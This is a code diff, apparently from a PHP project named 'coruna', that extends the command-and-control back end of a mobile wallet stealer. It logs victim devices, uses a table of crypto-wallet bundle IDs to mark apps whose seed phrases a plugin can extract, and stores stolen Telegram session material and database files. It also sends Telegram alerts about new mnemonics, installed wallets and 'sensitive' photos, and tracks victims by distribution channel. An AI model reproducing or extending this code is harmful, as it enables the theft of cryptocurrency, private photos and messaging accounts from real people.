* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
|
||||
{
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
return $this->matchNewBuilderVisit($request->ip());
|
||||
}
|
||||
if ($allowOldC) {
|
||||
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
|
||||
}
|
||||
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
private function isNewBuilderRequest(Request $request): bool
|
||||
{
|
||||
return (bool) $request->attributes->get('coruna_new_builder', false);
|
||||
}
|
||||
|
||||
/**
|
||||
* Latest iptj/pixel visit from this IP in the last N minutes whose
|
||||
* channel_id is a new-builder channel, and no device from this IP has
|
||||
* already claimed that channel.
|
||||
*
|
||||
* @return array{channel_id: ?string, source_domain: ?string}
|
||||
*/
|
||||
private function matchNewBuilderVisit(?string $ip): array
|
||||
{
|
||||
$ip = is_string($ip) ? trim($ip) : '';
|
||||
if ($ip === '') {
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
|
||||
$visits = PageVisit::query()
|
||||
->where('ip', $ip)
|
||||
->where('created_at', '>=', now()->subMinutes($minutes))
|
||||
->orderByDesc('id')
|
||||
->get();
|
||||
|
||||
foreach ($visits as $visit) {
|
||||
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
|
||||
if ($code === null) {
|
||||
continue;
|
||||
}
|
||||
$channel = Channel::query()
|
||||
->where('channel_id', $code)
|
||||
->where('builder_type', Channel::BUILDER_NEW)
|
||||
->first();
|
||||
if ($channel === null) {
|
||||
continue;
|
||||
}
|
||||
$claimed = Device::query()
|
||||
->where('ip', $ip)
|
||||
->where('channel_id', $code)
|
||||
->exists();
|
||||
if ($claimed) {
|
||||
continue;
|
||||
}
|
||||
$domain = $this->sourceDomainFromVisit($visit);
|
||||
|
||||
return ['channel_id' => $code, 'source_domain' => $domain];
|
||||
}
|
||||
|
||||
return ['channel_id' => null, 'source_domain' => null];
|
||||
}
|
||||
|
||||
private function sourceDomainFromVisit(PageVisit $visit): ?string
|
||||
{
|
||||
return PageVisit::normalizeDomain($visit->domain);
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
|
||||
{
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
||||
$attrs = [
|
||||
'device_id' => $deviceKey,
|
||||
'ip' => $request->ip(),
|
||||
'device_model' => $this->extractDeviceModel($payload),
|
||||
'ios_version' => $this->extractIosVersion($payload),
|
||||
'channel_id' => $withChannel ? $this->extractChannelId($request, $payload) : null,
|
||||
'channel_id' => $attr['channel_id'],
|
||||
'source_domain' => $attr['source_domain'],
|
||||
];
|
||||
if ($ua !== '') {
|
||||
$attrs['user_agent'] = $ua;
|
||||
@@ -239,7 +346,6 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$walletBundles = config('coruna.wallet_bundles', []);
|
||||
foreach ($payload['al'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
@@ -250,18 +356,45 @@ class IngestService
|
||||
if ($bundle === '') {
|
||||
continue;
|
||||
}
|
||||
$isWallet = in_array($bundle, $walletBundles, true)
|
||||
|| (bool) preg_match('/wallet|token|metamask|imtoken|trust|exodus|phantom|ton/i', $bundle.' '.$name);
|
||||
DeviceApp::query()->updateOrCreate(
|
||||
['device_id' => $device->id, 'bundle_id' => $bundle],
|
||||
[
|
||||
'name' => $name,
|
||||
'version' => $version,
|
||||
'is_wallet' => $isWallet,
|
||||
'is_wallet' => WalletSource::isPluginWalletBundle($bundle),
|
||||
'meta_json' => $item,
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
$this->refreshDeviceWalletFlag($device);
|
||||
}
|
||||
|
||||
/**
|
||||
* has_wallet: 0 unknown (no applist yet), 1 none, 2 plugin mnemonic wallets present.
|
||||
*/
|
||||
private function refreshDeviceWalletFlag(Device $device): void
|
||||
{
|
||||
$names = [];
|
||||
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
|
||||
$bundle = (string) $app->bundle_id;
|
||||
if (! WalletSource::isPluginWalletBundle($bundle)) {
|
||||
continue;
|
||||
}
|
||||
$label = WalletSource::labelForBundle($bundle, $app->name);
|
||||
$names[$label] = true;
|
||||
}
|
||||
$labels = array_keys($names);
|
||||
sort($labels);
|
||||
|
||||
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
|
||||
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
|
||||
$device->wallet_names = $labels === [] ? null : $labels;
|
||||
$device->save();
|
||||
|
||||
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) {
|
||||
$this->telegram->notifyInstalledWallets($device->device_id, $labels);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -353,6 +486,37 @@ class IngestService
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db).
|
||||
* Lab has no dedicated table; store as a keystore identity blob.
|
||||
*/
|
||||
public function ingestTelegramAuth(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
if (array_key_exists('result', $payload)) {
|
||||
$this->ingestKeystore($device, $payload);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$blob = [];
|
||||
foreach ([
|
||||
'user_id', 'state', 'db_sqlite',
|
||||
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
|
||||
] as $key) {
|
||||
if (array_key_exists($key, $payload)) {
|
||||
$blob[$key] = $payload[$key];
|
||||
}
|
||||
}
|
||||
if ($blob === []) {
|
||||
return;
|
||||
}
|
||||
$blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg');
|
||||
$this->ingestKeystore($device, ['result' => $blob]);
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
|
||||
*/
|
||||
@@ -507,6 +671,7 @@ class IngestService
|
||||
return;
|
||||
}
|
||||
|
||||
$stored = 0;
|
||||
foreach ($filePaths as $path) {
|
||||
if (! is_file($path)) {
|
||||
continue;
|
||||
@@ -530,6 +695,12 @@ class IngestService
|
||||
'text_count' => $meta['text_count'] ?? null,
|
||||
'barcode_count' => $meta['barcode_count'] ?? null,
|
||||
]);
|
||||
$stored++;
|
||||
}
|
||||
|
||||
$xHit = $meta['x_hit'] ?? null;
|
||||
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
|
||||
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -128,6 +128,23 @@ class TelegramNotifier
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $wallets
|
||||
*/
|
||||
public function notifyInstalledWallets(string $deviceId, array $wallets): void
|
||||
{
|
||||
$wallets = array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $wallets), static fn ($n) => $n !== ''));
|
||||
if ($wallets === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->send(implode("\n", [
|
||||
'👜 <b>Installed Wallets</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🏷 <b>Wallets</b>: '.$this->e(implode(', ', $wallets)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
@@ -138,6 +155,16 @@ class TelegramNotifier
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>Sensitive Photo</b>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🎯 <b>x-hit</b>: '.$this->e((string) $xHit),
|
||||
'📦 <b>Count</b>: '.$this->e((string) max(1, $count)),
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyBalanceChange(
|
||||
string $deviceId,
|
||||
string $address,
|
||||
|
||||
@@ -28,11 +28,62 @@ final class WalletSource
|
||||
'h' => 'Uniswap',
|
||||
'h1' => 'Uniswap',
|
||||
't' => 'OKX',
|
||||
'c' => 'TronLink',
|
||||
'f' => 'BitKeep',
|
||||
's' => 'Solflare',
|
||||
'tg' => 'Telegram',
|
||||
// lab / fixture aliases
|
||||
'tp' => 'TokenPocket',
|
||||
'im' => 'imToken',
|
||||
];
|
||||
|
||||
/**
|
||||
* Display names for plugin wallet bundle IDs (mnemonic-capable).
|
||||
*
|
||||
* @var array<string, string>
|
||||
*/
|
||||
private const BUNDLE_LABELS = [
|
||||
'im.token.app' => 'imToken',
|
||||
'io.metamask' => 'MetaMask',
|
||||
'io.metamask.MetaMask' => 'MetaMask',
|
||||
'com.wallet.crypto.trustapp' => 'Trust Wallet',
|
||||
'com.sixdays.trust' => 'Trust Wallet',
|
||||
'com.okex.wallet' => 'OKX',
|
||||
'com.okex.OKExAppstoreFull' => 'OKX',
|
||||
'com.coinbase.wallet' => 'Coinbase Wallet',
|
||||
'org.toshi.distribution' => 'Coinbase Wallet',
|
||||
'com.exodus' => 'Exodus',
|
||||
'exodus-movement.exodus' => 'Exodus',
|
||||
'app.phantom' => 'Phantom',
|
||||
'com.uniswap.mobile' => 'Uniswap',
|
||||
'com.tronlinkpro.wallet' => 'TronLink',
|
||||
'com.tronlink.hdwallet' => 'TronLink',
|
||||
'com.mytonwallet.app' => 'MyTonWallet',
|
||||
'org.mytonwallet.app' => 'MyTonWallet',
|
||||
'com.tonhub.app' => 'Tonhub',
|
||||
'com.tonkeeper.app' => 'Tonkeeper',
|
||||
'com.jbig.tonkeeper' => 'Tonkeeper',
|
||||
'vip.mytokenpocket' => 'TokenPocket',
|
||||
'com.bitkeep.wallet' => 'BitKeep',
|
||||
'com.bitkeep.os' => 'BitKeep',
|
||||
'com.bitpie' => 'Bitpie',
|
||||
'com.bitpie.wallet' => 'Bitpie',
|
||||
'com.coin98' => 'Coin98',
|
||||
'coin98.crypto.finance.insights' => 'Coin98',
|
||||
'com.solflare.mobile' => 'Solflare',
|
||||
'com.roninchain.wallet' => 'Ronin',
|
||||
'com.skymavis.Genesis' => 'Ronin',
|
||||
'com.krystal.wallet' => 'Krystal',
|
||||
'com.kyrd.krystal.ios' => 'Krystal',
|
||||
'com.global.wallet.ios' => 'Global Wallet',
|
||||
];
|
||||
|
||||
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */
|
||||
private const NON_MNEMONIC_BUNDLES = [
|
||||
'ph.telegra.Telegraph',
|
||||
'net.whatsapp.WhatsApp',
|
||||
];
|
||||
|
||||
public static function fromTag(mixed $tag): string
|
||||
{
|
||||
if (! is_string($tag) || $tag === '') {
|
||||
@@ -43,6 +94,36 @@ final class WalletSource
|
||||
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
|
||||
}
|
||||
|
||||
/**
|
||||
* True when this bundle is a business plugin that can extract a mnemonic.
|
||||
*/
|
||||
public static function isPluginWalletBundle(string $bundle): bool
|
||||
{
|
||||
$bundle = trim($bundle);
|
||||
if ($bundle === '' || in_array($bundle, self::NON_MNEMONIC_BUNDLES, true)) {
|
||||
return false;
|
||||
}
|
||||
if (isset(self::BUNDLE_LABELS[$bundle])) {
|
||||
return true;
|
||||
}
|
||||
|
||||
$configured = config('coruna.wallet_bundles', []);
|
||||
|
||||
return is_array($configured) && in_array($bundle, $configured, true)
|
||||
&& ! in_array($bundle, self::NON_MNEMONIC_BUNDLES, true);
|
||||
}
|
||||
|
||||
public static function labelForBundle(string $bundle, ?string $fallback = null): string
|
||||
{
|
||||
$bundle = trim($bundle);
|
||||
if (isset(self::BUNDLE_LABELS[$bundle])) {
|
||||
return self::BUNDLE_LABELS[$bundle];
|
||||
}
|
||||
$fallback = trim((string) $fallback);
|
||||
|
||||
return $fallback !== '' ? $fallback : ($bundle !== '' ? $bundle : 'unknown');
|
||||
}
|
||||
|
||||
/**
|
||||
* Chains we persist from C2 ingest (skip UNKNOWN / niche networks).
|
||||
*
|
||||
|
||||
@@ -42,6 +42,16 @@ class ChannelCommand
|
||||
$lines[] = ($i + 1).'. '.$channel->channel_id;
|
||||
$lines[] = ' 备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status;
|
||||
|
||||
if ($channel->isNewBuilder()) {
|
||||
$btnText = ($remark !== '' ? mb_substr($remark, 0, 18) : $channel->channel_id).' · 渠道码';
|
||||
$markup->addRow(InlineKeyboardButton::make(
|
||||
text: $btnText,
|
||||
copy_text: CopyTextButton::make($channel->channel_id),
|
||||
));
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
$links = $channel->supportLinks();
|
||||
$link = $links[0] ?? $channel->landingPath();
|
||||
if (strlen($link) > 256) {
|
||||
|
||||
Reference in New Issue
Block a user